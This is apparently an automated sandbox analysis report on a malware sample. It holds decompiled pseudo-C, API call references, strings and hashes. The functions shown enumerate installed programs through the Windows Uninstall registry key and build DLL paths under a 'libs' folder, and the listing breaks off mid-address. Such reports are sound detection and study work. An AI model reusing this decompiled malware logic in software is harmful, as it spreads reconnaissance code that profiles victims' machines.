LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A5B
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A64
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A6D
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A76
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A85
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A8E
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A97
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AA0
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AA9
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AB0
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AC1
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405ACA
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AD3
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405ADC
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AE5
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AF3
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AFC
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B05
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B16
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B1F
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B26
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B37

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$lstrlen$Global
String ID:
API String ID: 2107727554-0
Opcode ID: 1c60b24231b25f616e40e6fb9721cc66f7a2b7ed1654eea12d62df99302760ad
Instruction ID: f35946c0f576b0545b5d2f7ca60a1d17271964e093f6211ee75f8335e655f3b5
Opcode Fuzzy Hash: 1c60b24231b25f616e40e6fb9721cc66f7a2b7ed1654eea12d62df99302760ad
Instruction Fuzzy Hash: E1F1C372900225EFDB149BA6DE48EAEBB75EB48310F044535F905B32A0DB746D21CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00409581 Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 309
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 52%

			E00409581(void* __eflags, intOrPtr* _a4, void* _a8) {
				void* _v8;
				char* _v12;
				int _v16;
				int _v20;
				int _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				long _t81;
				long _t85;
				long _t89;
				long _t95;
				long _t98;
				long _t105;
				long _t115;
				intOrPtr _t121;
				long _t127;
				long _t134;
				long _t144;
				intOrPtr* _t157;
				int _t158;
				int _t159;
				void* _t160;
				void* _t161;
				void* _t191;
				void* _t193;
				void* _t194;
				void* _t195;
				int* _t196;
				void* _t198;

				_t157 = _a4;
				_t196 = 0;
				_v16 = 0xf003f;
				_v8 = 0;
				 *_t157 = E0040A503( *_t157, _a8);
				_t81 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", 0, 0x20119,  &_v8); // executed
				if(_t81 == 0) {
					_t158 = 0;
					_v28 = 0;
					do {
						_v32 = 0x800;
						_t191 =  *((intOrPtr*)( *0x40e044))(0x40, 0x1000);
						_v36 = _t191;
						_t85 = RegEnumKeyExW(_v8, _t158, _t191,  &_v32, _t196, _t196, _t196, _t196); // executed
						_v40 = _t85;
						if(_t85 != 0) {
							L15:
							LocalFree(_t191);
							goto L16;
						}
						_a8 = _t196;
						_t127 = RegOpenKeyExW(_v8, _t191, _t196, 0x20119,  &_a8); // executed
						if(_t127 == 0) {
							_v24 = 0x1000;
							_v20 = 0x1000;
							_t161 =  *((intOrPtr*)( *0x40e044))(0x40, 0x2000);
							_v12 =  *((intOrPtr*)( *0x40e044))(0x40, _v20 + _v20);
							_t134 = RegQueryValueExW(_a8, L"DisplayName", _t196,  &_v16, _t161,  &_v24); // executed
							if(_t134 != 0) {
								L14:
								LocalFree(_v12);
								LocalFree(_t161);
								RegCloseKey(_a8); // executed
								_t158 = _v28;
								goto L15;
							}
							_t195 =  *((intOrPtr*)( *0x40e044))(0x40, _v20 + _v24 + _v20 + _v24);
							_t144 = RegQueryValueExW(_a8, L"DisplayVersion", _t196,  &_v16, _v12,  &_v20); // executed
							if(_t144 != 0) {
								L10:
								_push(_t196);
								L11:
								_push(_t161);
								wsprintfW(_t195, L"\t%s %s\n");
								_t198 = _t198 + 0x10;
								_push(_t195);
								_push( *_a4);
								if( *((intOrPtr*)( *0x40e18c))() == 0) {
									 *_a4 = E0040A503( *_a4, _t195);
								}
								LocalFree(_t195);
								_t191 = _v36;
								goto L14;
							}
							_push(_v12);
							_push(_t161);
							if( *((intOrPtr*)( *0x40e18c))() != 0) {
								goto L10;
							}
							_push(_v12);
							goto L11;
						}
						LocalFree(_t191);
						RegCloseKey(_a8);
						L16:
						_t158 = _t158 + 1;
						_v28 = _t158;
					} while (_v40 == _t196);
					RegCloseKey(_v8);
					_v8 = _t196;
					_t89 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", _t196, 0x20019,  &_v8); // executed
					if(_t89 != 0) {
						L34:
						RegCloseKey(_v8);
						return _t196;
					}
					_t159 = _t196;
					_v24 = _t196;
					do {
						_v40 = 0x800;
						_t193 =  *((intOrPtr*)( *0x40e044))(0x40, 0x1000);
						_v36 = _t193;
						_t95 = RegEnumKeyExW(_v8, _t159, _t193,  &_v40, _t196, _t196, _t196, _t196); // executed
						_v32 = _t95;
						if(_t95 != 0) {
							L31:
							LocalFree(_t193);
							goto L32;
						}
						_a8 = _t196;
						_t98 = RegOpenKeyExW(_v8, _t193, _t196, 0x20019,  &_a8); // executed
						if(_t98 == 0) {
							_v28 = 0x1000;
							_v20 = 0x1000;
							_t160 =  *((intOrPtr*)( *0x40e044))(0x40, 0x2000);
							_v12 =  *((intOrPtr*)( *0x40e044))(0x40, _v20 + _v20);
							_t105 = RegQueryValueExW(_a8, L"DisplayName", _t196,  &_v16, _t160,  &_v28); // executed
							if(_t105 != 0) {
								L30:
								LocalFree(_v12);
								LocalFree(_t160);
								RegCloseKey(_a8); // executed
								_t159 = _v24;
								goto L31;
							}
							_t194 =  *((intOrPtr*)( *0x40e044))(0x40, _v20 + _v28 + _v20 + _v28);
							_t115 = RegQueryValueExW(_a8, L"DisplayVersion", _t196,  &_v16, _v12,  &_v20); // executed
							if(_t115 != 0) {
								L26:
								_push(_t196);
								L27:
								_push(_t160);
								wsprintfW(_t194, L"\t%s %s\n");
								_t198 = _t198 + 0x10;
								_push(_t194);
								_push( *_a4);
								if( *((intOrPtr*)( *0x40e18c))() == 0) {
									_t121 = E0040A503( *_a4, _t194); // executed
									 *_a4 = _t121;
								}
								LocalFree(_t194);
								_t193 = _v36;
								goto L30;
							}
							_push(_v12);
							_push(_t160);
							if( *((intOrPtr*)( *0x40e18c))() != 0) {
								goto L26;
							}
							_push(_v12);
							goto L27;
						}
						LocalFree(_t193);
						RegCloseKey(_a8);
						L32:
						_t159 = _t159 + 1;
						_v24 = _t159;
					} while (_v32 == _t196);
					_t196 = 1;
					goto L34;
				}
				RegCloseKey(_v8);
				return 0;
			}

0x0040958b
0x0040958f
0x00409591
0x00409598
0x004095a5
0x004095bd
0x004095c1
0x004095d3
0x004095d5
0x004095d9
0x004095e5
0x004095f4
0x004095fd
0x00409606
0x00409608
0x0040960d
0x00409737
0x00409738
0x00000000
0x00409738
0x00409627
0x0040962a
0x0040962e
0x0040964f
0x00409652
0x00409661
0x00409676
0x0040968b
0x0040968f
0x0040971b
0x0040971e
0x00409725
0x0040972e
0x00409734
0x00000000
0x00409734
0x004096ae
0x004096c4
0x004096c8
0x004096de
0x004096de
0x004096df
0x004096df
0x004096e6
0x004096ef
0x004096f7
0x004096f8
0x004096fe
0x0040970f
0x0040970f
0x00409712
0x00409718
0x00000000
0x00409718
0x004096ca
0x004096d2
0x004096d7
0x00000000
0x00000000
0x004096d9
0x00000000
0x004096d9
0x00409631
0x0040963a
0x0040973e
0x0040973e
0x0040973f
0x00409742
0x0040974e
0x0040976d
0x00409770
0x00409774
0x004098f4
0x004098f7
0x00000000
0x004098ff
0x0040977a
0x0040977c
0x0040977f
0x0040978b
0x0040979a
0x004097a3
0x004097ac
0x004097ae
0x004097b3
0x004098dd
0x004098de
0x00000000
0x004098de
0x004097cd
0x004097d0
0x004097d4
0x004097f5
0x004097f8
0x00409807
0x0040981c
0x00409831
0x00409835
0x004098c1
0x004098c4
0x004098cb
0x004098d4
0x004098da
0x00000000
0x004098da
0x00409854
0x0040986a
0x0040986e
0x00409884
0x00409884
0x00409885
0x00409885
0x0040988c
0x00409895
0x0040989d
0x0040989e
0x004098a4
0x004098ad
0x004098b5
0x004098b5
0x004098b8
0x004098be
0x00000000
0x004098be
0x00409870
0x00409878
0x0040987d
0x00000000
0x00000000
0x0040987f
0x00000000
0x0040987f
0x004097d7
0x004097e0
0x004098e4
0x004098e4
0x004098e5
0x004098e8
0x004098f3
0x00000000
0x004098f3
0x004095c6
0x00000000

APIs

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020119,00000000,74715850,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004095BD
RegCloseKey.ADVAPI32(00000000), ref: 004095C6
RegEnumKeyExW.KERNEL32(00000000,00000000,00000000,00000800,00000000,00000000,00000000,00000000), ref: 00409606
RegOpenKeyExW.KERNEL32(00000000,00000000,00000000,00020119,000F003F), ref: 0040962A
LocalFree.KERNEL32(00000000), ref: 00409631
RegCloseKey.ADVAPI32(000F003F), ref: 0040963A
RegCloseKey.ADVAPI32(00000000), ref: 0040974E
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,00000000), ref: 00409770
RegEnumKeyExW.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004097AC
RegOpenKeyExW.KERNEL32(00000000,00000000,00000000,00020019,000F003F), ref: 004097D0
LocalFree.KERNEL32(00000000), ref: 004097D7
RegCloseKey.ADVAPI32(000F003F), ref: 004097E0

Strings

%s %s, xrefs: 004096E0, 00409886
DisplayName, xrefs: 00409683, 00409829
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 004095B3, 00409763
?, xrefs: 00409591
DisplayVersion, xrefs: 004096BC, 00409862

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: CloseOpen$FreeLocal$Enumlstrlen$AllocGlobal
String ID: %s %s$?$DisplayName$DisplayVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 3566135887-2725056526
Opcode ID: 4fc523157058bb90ebc2adb6a57775fece7855522a3e6395472df4a88ae19298
Instruction ID: d80988b05da4082da03304b58d54d9122d1b9f20f569912955d0e5abbda793b7
Opcode Fuzzy Hash: 4fc523157058bb90ebc2adb6a57775fece7855522a3e6395472df4a88ae19298
Instruction Fuzzy Hash: 60B16C71A00219BFDB05DFA6DD84EAF7BB9EF49340B104425FA05B7261D7749E10CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040864C Relevance: 33.2, APIs: 18, Strings: 4, Instructions: 247
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E0040864C(void* __ecx, intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t47;
				void* _t55;
				void* _t61;
				void* _t64;
				void* _t73;
				void* _t74;
				signed int _t81;
				void* _t83;
				void* _t90;
				signed int _t91;
				void* _t100;
				void* _t101;
				void* _t103;
				signed int _t104;
				void* _t106;
				void* _t107;
				signed int _t111;
				void* _t112;
				void* _t113;
				void* _t115;
				void* _t122;
				signed int _t137;
				intOrPtr _t146;
				void* _t150;
				void* _t152;

				_t115 = __ecx;
				_v32 = __edx;
				_t47 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(__ecx) + _t45); // executed
				_t152 = _t47;
				_push(_t115);
				_v12 = _t152;
				if( *((intOrPtr*)( *0x40e08c))() == 0x26) {
					L25:
					if(_t152 != 0) {
						LocalFree(_t152); // executed
					}
					return 1;
				} else {
					goto L1;
				}
				do {
					L1:
					_t55 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t115) + _t53); // executed
					_v8 = _t55;
					_t150 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t115) + _t56);
					_v16 = _t150;
					_t61 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t115) + _t59);
					_t152 = _t61;
					_v24 = _t152;
					_t122 =  *((intOrPtr*)( *0x40e18c))(_t115,  *0x40e1ec);
					_t63 = 0;
					_v28 = 0;
					if(_t122 == 0) {
						L3:
						_t8 =  &_v8; // 0x4079e3
						_t64 = E0040A3E4(_t115, _t8, 0, _t63); // executed
						if(_t64 != 1) {
							goto L17;
						}
						_t73 =  *((intOrPtr*)( *0x40e18c))(_t115,  *0x40e228);
						_v20 = _t73;
						if(_t73 == 0) {
							_t74 = _v12;
							if(_t74 != 0) {
								LocalFree(_t74);
							}
							if(_v8 != 0) {
								LocalFree(_v8);
							}
							if(_t150 != 0) {
								LocalFree(_t150);
							}
							goto L25;
						}
						_push(L"libs");
						_t10 =  &_v8; // 0x4079e3
						_push( *_t10);
						if( *((intOrPtr*)( *0x40e114))() != 0) {
							goto L17;
						}
						_t115 = _t115 + _v28 * 2 + 2;
						_t81 = _v20 - _t115;
						_v20 = _t81 >> 1;
						if(_t81 == 0) {
							L33:
							_t83 = _v12;
							if(_t83 != 0) {
								LocalFree(_t83);
							}
							if(_v8 == 0) {
								L38:
								if(_t150 != 0) {
									LocalFree(_t150);
								}
								if(_t152 != 0) {
									LocalFree(_t152);
								}
								return 0;
							} else {
								LocalFree(_v8);
								L37:
								goto L38;
							}
						}
						_t90 =  *((intOrPtr*)( *0x40e18c))(_t115,  *0x40e1f0);
						if(_t90 == 0) {
							goto L33;
						}
						_t91 = _t90 - _t115;
						_t92 = _t91 >> 1;
						_v28 = _t91 >> 1;
						if(_t91 == 0) {
							goto L33;
						}
						if(E0040A3E4(_t115,  &_v16, 0, _t92) == 0) {
							L16:
							_t150 = _v16;
							goto L17;
						}
						if(E0040A3E4(_t115,  &_v24, _v28 + 1, _v20) == 0) {
							_t152 = _v24;
							goto L16;
						}
						_t100 = E0040A503( *((intOrPtr*)( *0x40e044))(0x40, 0x208), _v32);
						_t146 =  *0x40e258; // 0x735c80
						_t101 = E0040A503(_t100, _t146);
						_t150 = _v16;
						_t103 = E0040A503(E0040A503(_t101, _t150), L".dll");
						_t137 =  *0x40e374; // 0x74dd40
						_v28 = _t137;
						_v20 = _t103;
						_t104 = E00408619( &_v28);
						_t152 = _v24;
						_v28 = _t104;
						E00408495(_t152, _t104, _t103); // executed
						_t106 = _v28;
						if(_t106 != 0) {
							LocalFree(_t106);
						}
						_t107 = _v20;
						if(_t107 != 0) {
							LocalFree(_t107);
						}
						goto L17;
					}
					_t111 = _t122 - _t115;
					_t63 = _t111 >> 1;
					_v28 = _t111 >> 1;
					if(_t111 < 0) {
						_t112 = _v12;
						if(_t112 != 0) {
							LocalFree(_t112);
						}
						_t37 =  &_v8; // 0x4079e3
						_t113 =  *_t37;
						if(_t113 == 0) {
							goto L38;
						} else {
							LocalFree(_t113);
							goto L37;
						}
					}
					goto L3;
					L17:
					if(_v8 != 0) {
						LocalFree(_v8);
					}
					if(_t150 != 0) {
						LocalFree(_t150);
					}
					if(_t152 != 0) {
						LocalFree(_t152); // executed
					}
					_t34 =  *((intOrPtr*)( *0x40e18c))(_t115,  *0x40e228) + 2; // 0x2
					_t115 = _t34;
					_push(_t115);
				} while ( *((intOrPtr*)( *0x40e08c))() != 0x26);
				_t152 = _v12;
				goto L25;
			}

0x0040865f
0x00408663
0x0040866d
0x00408675
0x00408677
0x00408678
0x00408680
0x00408888
0x0040888a
0x0040888d
0x0040888d
0x00000000
0x00000000
0x00000000
0x00000000
0x00408686
0x00408686
0x00408699
0x004086a8
0x004086ba
0x004086c3
0x004086cd
0x004086db
0x004086de
0x004086e3
0x004086e5
0x004086e7
0x004086ec
0x004086fd
0x00408700
0x00408705
0x0040870f
0x00000000
0x00000000
0x00408721
0x00408723
0x00408728
0x004088ea
0x004088ef
0x004088f2
0x004088f2
0x004088fc
0x00408901
0x00408901
0x00408909
0x00408910
0x00408910
0x00000000
0x00408909
0x00408734
0x00408739
0x00408739
0x00408740
0x00000000
0x00000000
0x0040874f
0x00408752
0x00408756
0x00408759
0x004088b3
0x004088b3
0x004088b8
0x004088bb
0x004088bb
0x004088c5
0x004088d0
0x004088d2
0x004088d5
0x004088d5
0x004088dd
0x004088e0
0x004088e0
0x00000000
0x004088c7
0x004088ca
0x004088ca
0x00000000
0x004088ca
0x004088c5
0x0040876b
0x0040876f
0x00000000
0x00000000
0x00408775
0x00408777
0x00408779
0x0040877c
0x00000000
0x00000000
0x00408793
0x0040883b
0x0040883b
0x00000000
0x0040883b
0x004087b0
0x00408838
0x00000000
0x00408838
0x004087c9
0x004087ce
0x004087d6
0x004087db
0x004087ee
0x004087f3
0x004087fb
0x00408801
0x00408804
0x0040880a
0x00408811
0x00408814
0x00408819
0x0040881f
0x00408822
0x00408822
0x00408828
0x0040882d
0x00408830
0x00408830
0x00000000
0x0040882d
0x004086f0
0x004086f2
0x004086f4
0x004086f7
0x0040889b
0x004088a0
0x004088a3
0x004088a3
0x004088a9
0x004088a9
0x004088ae
0x00000000
0x004088b0
0x004088ca
0x00000000
0x004088ca
0x004088ae
0x00000000
0x0040883e
0x00408842
0x00408847
0x00408847
0x0040884f
0x00408852
0x00408852
0x0040885a
0x0040885d
0x0040885d
0x00408871
0x00408871
0x00408879
0x0040887c
0x00408885
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004079E3), ref: 0040866D
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004079E3), ref: 00408699
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004079E3), ref: 004086B2
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004079E3), ref: 004086CD
LocalFree.KERNEL32(?,?,?,?,?,?,?,004079E3), ref: 00408822
LocalFree.KERNEL32(?,?,?,?,?,?,?,004079E3), ref: 00408830
LocalFree.KERNEL32(00000000), ref: 00408847
LocalFree.KERNEL32(00000000), ref: 00408852
LocalFree.KERNELBASE(00000000), ref: 0040885D
LocalFree.KERNELBASE(00000000,?,?,?,?,?,?,004079E3), ref: 0040888D
LocalFree.KERNEL32(?,?,?,?,?,?,?,004079E3), ref: 004088A3
LocalFree.KERNEL32(?,?,?,?,?,?,?,004079E3), ref: 004088BB
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,004079E3), ref: 004088CA
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,004079E3), ref: 004088D5
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,004079E3), ref: 004088E0
LocalFree.KERNEL32(?,?,?,?,?,?,?,004079E3), ref: 004088F2
LocalFree.KERNEL32(00000000), ref: 00408901
LocalFree.KERNEL32(00000000), ref: 00408910

Strings

y@, xrefs: 00408700, 00408739, 004088A9, 004088B0
.dll, xrefs: 004087E7
libs, xrefs: 00408734
y@, xrefs: 004088FE, 00408844

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc
String ID: .dll$libs$y@$y@
API String ID: 3098330729-564368970
Opcode ID: b6baaf1c4c7f1a018e7c964b8c0473864a6ac247d4e3265520aa8e21be5a1454
Instruction ID: 52a9afaef70bc3ab584d26b5193ec900674cb85d6b4cf00b99d66efe4c6f1661
Opcode Fuzzy Hash: b6baaf1c4c7f1a018e7c964b8c0473864a6ac247d4e3265520aa8e21be5a1454
Instruction Fuzzy Hash: EE818672A002159BDB04EFA5DF85A6E77B8AB44310B44483EE941F7390DF78ED11CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7DA Relevance: 31.6, APIs: 25, Instructions: 347
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E0040A7DA(short* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				signed int _v36;
				void* _v40;
				void* _v44;
				short* _v48;
				void* _v52;
				intOrPtr _v56;
				signed int _v60;
				char _v64;
				void* __ecx;
				void* _t80;
				signed int _t81;
				void* _t84;
				void* _t88;
				void* _t91;
				void* _t94;
				void* _t116;
				void* _t120;
				void* _t136;
				void* _t139;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				void* _t150;
				void* _t161;
				void* _t162;
				void* _t163;
				intOrPtr _t164;
				char _t206;
				void* _t219;
				void* _t228;
				signed int _t231;
				intOrPtr _t232;
				void* _t235;
				void* _t242;
				signed int _t246;
				signed int _t249;
				void* _t250;
				void* _t251;
				void* _t253;
				void* _t254;

				_v48 = __edx;
				_v28 = _t164;
				_t161 =  *((intOrPtr*)( *0x40e18c))(_t164,  *0x40e2a4);
				if(_t161 == 0) {
					L24:
					return 0;
				}
				while(1) {
					_t162 = _t161 + 0xa;
					_t80 =  *((intOrPtr*)( *0x40e18c))(_t162,  *0x40e1f0);
					_t3 = _t80 + 2; // 0x2
					_t224 = _t3;
					_t81 =  *((intOrPtr*)( *0x40e18c))(_t3,  *0x40e1e8);
					_v36 = _t81;
					_t84 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t82);
					_v8 = _t84;
					_t88 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t86);
					_v12 = _t88;
					_t91 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t89);
					_v16 = _t91;
					_t94 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t92);
					_v20 = _t94;
					_t242 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t95);
					_t100 = _v36 - _t162 >> 1;
					_v24 = _t242;
					_v44 = _v36 - _t162 >> 1;
					if(E0040A3E4(_t162,  &_v8, _t224 - _t162 >> 1, _t100) == 0) {
						break;
					}
					_t228 =  *((intOrPtr*)( *0x40e18c))(_v36 + 2,  *0x40e1e8);
					_t246 = _t228 - _t162 >> 1;
					if(E0040A3E4(_t162,  &_v12, _v44 + 1, _t246) == 0) {
						L20:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						L22:
						L23:
						goto L24;
					}
					_t21 = _t228 + 2; // 0x2
					_t116 =  *((intOrPtr*)( *0x40e18c))(_t21,  *0x40e1e8);
					_v44 = _t116;
					_t23 = _t246 + 1; // 0x1
					_t231 = _t116 - _t162 >> 1;
					if(E0040A3E4(_t162,  &_v16, _t23, _t231) == 0) {
						goto L20;
					}
					_t120 =  *((intOrPtr*)( *0x40e18c))(_v44 + 2,  *0x40e1e8);
					_v44 = _t120;
					_t27 = _t231 + 1; // 0x1
					_t249 = _t120 - _t162 >> 1;
					if(E0040A3E4(_t162,  &_v20, _t27, _t249) == 0) {
						goto L20;
					}
					_t232 =  *((intOrPtr*)( *0x40e18c))(_v44 + 2,  *0x40e228);
					_v56 = _t232;
					_t32 = _t249 + 1; // 0x1
					if(E0040A3E4(_t162,  &_v24, _t32, _t232 - _t162 >> 1) == 0) {
						goto L20;
					}
					_t250 =  *((intOrPtr*)( *0x40e074))(_v12);
					if(_t250 > 0) {
						_t163 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
						_t136 =  *((intOrPtr*)( *0x40e0c4))(0, _t163, _t250, 0); // executed
						if(_t136 != 0) {
							_t139 =  *((intOrPtr*)( *0x40e000))(_t163, _t163, _v16);
							_v36 = _v36 & 0x00000000;
							_t163 = _t139;
							_v32 =  *((intOrPtr*)( *0x40e044))(0x40, 0x2000);
							E0040B177(_v8, _t163, _t163, _v20, _v24, _t141,  &_v36); // executed
							_t254 = _t254 + 0x14;
							if(_v36 <= 0) {
								_t251 = _v32;
							} else {
								_t145 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t146 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t219 = 0x10;
								_t147 = E0040A05F(_t145, _t219);
								_t253 = _t147;
								_v52 = _t253;
								_t149 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t146,  *0x40e210), _t253);
								_t206 =  *0x40e204; // 0x735b80
								_v60 = _v60 & 0x00000000;
								_v64 = _t206;
								_v44 = _t149;
								_t150 = E00408619( &_v44);
								_v40 = _t150;
								_t235 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
								 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t253, 0xffffffff, 0, 0, 0, 0);
								if(0 == 0) {
									_t251 = _v32;
								} else {
									 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t253, 0xffffffff, _t235, 0, 0, 0);
									_t251 = _v32;
									if(0 != 0) {
										E00407EDB(_v48, _t235, 0, 0, _v36, _t251, _v40,  &_v64);
										_t254 = _t254 + 0x18;
									}
								}
								LocalFree(_t235);
								LocalFree(_v40);
								LocalFree(_v44);
								LocalFree(_v52);
								_t232 = _v56;
							}
							LocalFree(_t251);
						}
						LocalFree(_t163);
					}
					LocalFree(_v8);
					LocalFree(_v12);
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					_t66 = _t232 + 2; // 0x2
					_t161 =  *((intOrPtr*)( *0x40e18c))(_t66,  *0x40e2a4);
					if(_t161 != 0) {
						continue;
					} else {
						goto L23;
					}
				}
				LocalFree(_v8);
				LocalFree(_v12);
				LocalFree(_v16);
				LocalFree(_v20);
				LocalFree(_t242);
				goto L22;
			}

0x0040a7ec
0x0040a7f0
0x0040a7f5
0x0040a7f9
0x0040abd3
0x0040abd7
0x0040abd7
0x0040a801
0x0040a80c
0x0040a810
0x0040a81e
0x0040a81e
0x0040a822
0x0040a833
0x0040a83d
0x0040a848
0x0040a857
0x0040a868
0x0040a872
0x0040a883
0x0040a88d
0x0040a89e
0x0040a8aa
0x0040a8b8
0x0040a8be
0x0040a8c1
0x0040a8cd
0x00000000
0x00000000
0x0040a8ee
0x0040a8f4
0x0040a904
0x0040ab7d
0x0040ab80
0x0040ab89
0x0040ab92
0x0040ab9b
0x0040abcb
0x0040abcb
0x0040abd1
0x00000000
0x0040abd2
0x0040a916
0x0040a91a
0x0040a91e
0x0040a923
0x0040a926
0x0040a938
0x00000000
0x00000000
0x0040a951
0x0040a955
0x0040a95a
0x0040a95d
0x0040a96f
0x00000000
0x00000000
0x0040a98a
0x0040a991
0x0040a999
0x0040a9a8
0x00000000
0x00000000
0x0040a9b8
0x0040a9bc
0x0040a9d7
0x0040a9df
0x0040a9e3
0x0040a9f3
0x0040a9f5
0x0040a9f9
0x0040aa0c
0x0040aa1d
0x0040aa22
0x0040aa29
0x0040ab21
0x0040aa2f
0x0040aa3c
0x0040aa49
0x0040aa4d
0x0040aa52
